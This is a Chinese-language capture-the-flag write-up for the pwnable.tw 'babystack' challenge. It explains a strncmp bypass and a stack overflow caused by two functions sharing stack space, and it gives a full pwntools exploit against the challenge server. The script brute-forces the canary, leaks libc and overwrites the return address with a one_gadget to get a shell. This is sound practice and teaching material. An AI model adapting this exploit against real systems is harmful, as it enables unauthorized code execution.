目錄
  1. 1. 前言
  2. 2. 程序分析
    1. 2.1. 保护机制
    2. 2.2. 主要函数
  3. 3. 解题思路
pwnable.tw babystack

前言

这是一道组合溢出的题目,与常见的栈溢出不同,故记录一下。

程序分析

保护机制

1
2
3
4
5
6
7
8
➜  babystack checksec ./babystack
[*] '/mnt/hgfs/shared/tw/babystack/babystack'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

保护全开,既然是栈溢出,那么泄露canary是必不可少的。

主要函数

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rcx
__int64 v4; // rdx
char v6; // [rsp+0h] [rbp-60h]
__int64 buf; // [rsp+40h] [rbp-20h]
__int64 v8; // [rsp+48h] [rbp-18h]
char v9; // [rsp+50h] [rbp-10h]

sub_D30();
dword_202018[0] = open("/dev/urandom", 0);
read(dword_202018[0], &buf, 0x10uLL);
v3 = qword_202020;
v4 = v8;
*(_QWORD *)qword_202020 = buf;
v3[1] = v4;
close(dword_202018[0]);
while ( 1 )
{
write(1, ">> ", 3uLL);
_read_chk(0LL, (__int64)&v9, 16LL, 16LL);
if ( v9 == '2' )
break;
if ( v9 == '3' )
{
if ( is_login )
copy(&v6);
else
puts("Invalid choice");
}
else if ( v9 == '1' )
{
if ( is_login )
is_login = 0;
else
login((const char *)&buf);
}
else
{
puts("Invalid choice");
}
}
if ( !is_login )
exit(0);
if ( memcmp(&buf, qword_202020, 0x10uLL) )
JUMPOUT(loc_100B);
return 0LL;
}

首先读取16字节的随机数到栈上,并赋值给bss段上qword_202020。接着进入while循环,函数结束时会判断buf和qword_202020的值。可以发现这里的canary保护和常规的有点不同,因此需要泄露buf的值。

下面进入循环:

login函数

1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall login(const char *a1)
{
size_t v1; // rax
char s; // [rsp+10h] [rbp-80h]

printf("Your passowrd :");
sub_CA0((unsigned __int8 *)&s, 0x7Fu);
v1 = strlen(&s);
if ( strncmp(&s, a1, v1) )
return puts("Failed !");
is_login = 1;
return puts("Login Success !");
}

当is_login==0时会进入login函数,这里首先读取数据到栈上,然后和buf的值进行strncmp判断。这里有两种绕过方法:

1、利用‘\x00’进行截断,因为strlen碰上’\x00’ 和’\x0a’会产生阶段,因此可以直接绕过strncmp的判断

1
login('\x00'+'a'*0x57)

2、逐字节进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def bf(length,s1 = ''):
while(1):
for i in range(1,256):
if i == 10:
continue
s2 = s1 + chr(i)
login(s2+'\x00')
if "Success" in p.recv():
s1 = s2
print "[+]found!"
logout()
sleep(1)
break
if len(s2) == length:
break
return s1

copy函数

1
2
3
4
5
6
7
8
9
int __fastcall copy(char *a1)
{
char src; // [rsp+10h] [rbp-80h]

printf("Copy :");
sub_CA0((unsigned __int8 *)&src, 0x3Fu);
strcpy(a1, &src);
return puts("It is magic copy !");
}

当is_login==1时,该函数会将当前栈上读入的数据strcpy到main函数的栈上。

这里的漏洞点在于copy函数和login函数的栈空间相同,而login函数可以读入0x7f个字节,这在copy到main函数栈上时将会产生溢出。

解题思路

1、利用strncmp爆破出canary的值

2、利用copy函数布置好栈空间,利用strncmpbaopo出libc的地址

3、因为strcpy会有’\x00’阶段,因此无法使用ROP,需要计算出one_gadget一发入魂

4、利用copy函数进行溢出并将返回地址覆盖成one_gadget

完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

# context.terminal = ['tmux','split','-h']
context.log_level = 'debug'
# p = process("./babystack")
p = remote("chall.pwnable.tw",10205)
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc = ELF("libc_64.so.6")
se = lambda x: p.send(x)
s = lambda x,y: p.sendafter(x,y)

def login(passwd):
se("1")
s("passowrd :",passwd)

def logout():
s(">>","1")
def copy(cnt):
s(">>","3")
s("Copy :",cnt)

def gd():
gdb.attach(p)

def bf(length,s1 = ''):
while(1):
for i in range(1,256):
if i == 10:
continue
s2 = s1 + chr(i)
login(s2+'\x00')
if "Success" in p.recv():
s1 = s2
print "[+]found!"
logout()
sleep(1)
break
if len(s2) == length:
break
return s1

def leak(length,s1 = ''):
while(1):
for i in range(1,256):
if i == 10:
continue
s2 = s1 + chr(i)
login('a'*0x10+'1'+'a'*0x7+s2+'\x00')
if "Success" in p.recv():
s1 = s2
print "[+]found!"
logout()
sleep(1)
break
if len(s2) == length:
break
return s1

magic = bf(16)
login('\x00'+'a'*0x57)
copy("b"*0x20)
logout()
base = leak(6)
libc_base = u64(base.ljust(8,'\x00')) - 0x6ffb4
one = 0xf0567 + libc_base
print hex(libc_base)
login('\x00'+'c'*0x3f+magic+'a'*0x18+p64(one))
copy("b"*0x20)
se("2")
#find /home -name flag | xargs cat

p.interactive()

结果如下

文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/06/22/pwnable-tw-babystack/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL